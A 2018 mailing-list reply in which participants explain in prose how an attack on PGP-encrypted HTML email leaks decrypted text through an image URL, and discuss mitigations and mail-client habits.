On Mon, May 14, 2018 at 10:01 PM, Malcolm Herbert <[email protected]> wrote:
> On Mon, May 14, 2018 at 04:59:12PM -0700, George Georgalis wrote: > |Could someone clarify how this attack scenario plays out? Are these > |pgp/html mail clients actually so broke that they would send crypto > |secrets as part of an http request while rendering a malicious email? > > my understanding is that the text/html portion of the email is laced > with strings which match the MIME boundary marker and a pgp-encrypted > block containing the message that the attacker wants to decrypt. certain > mail clients will do this and then drop the resultant cleartext into the > same memory location as the pre-rendered HTML portion of the email[1]. > > In their example, the plaintext is appended to the end of an image url, > so that when the mail reader gets to the point of rendering the html, > the link fires and the exfil occurs with the HTTP GET request > > the basic issue is that text/plain and text/html forms can be > constructed so that the mime boundary isn't properly escaped (which is > the basic exploit here) - if mail readers insisted on base64 encoded > html when encountering pgp-encrypted email, I think the problem would go > away ... > > Regards, > Malcolm > > [1] the paper asserts that this occurs, I have no idea the actual mechanism > > Thanks for the clarification! That makes a lot more sense. Interesting idea about using base64, however I think this vector speaks to the malformed idea that email clients rendering 3rd party elements is a solution. Somewhere I still have my preferred mail client configuration files mutt, with pgp, etc. However it has been years since that has been an option or practical in the workplace and very rarely actually used. Even resolving imap/smtp access and authorization, there is still the pressure to communicate with a fancy graphical client. Maybe now that identity and privacy have come of age, there is a precedent to support that in email clients. Thanks, -George -- George Georgalis, (415) 894-2710, http://www.galis.org/
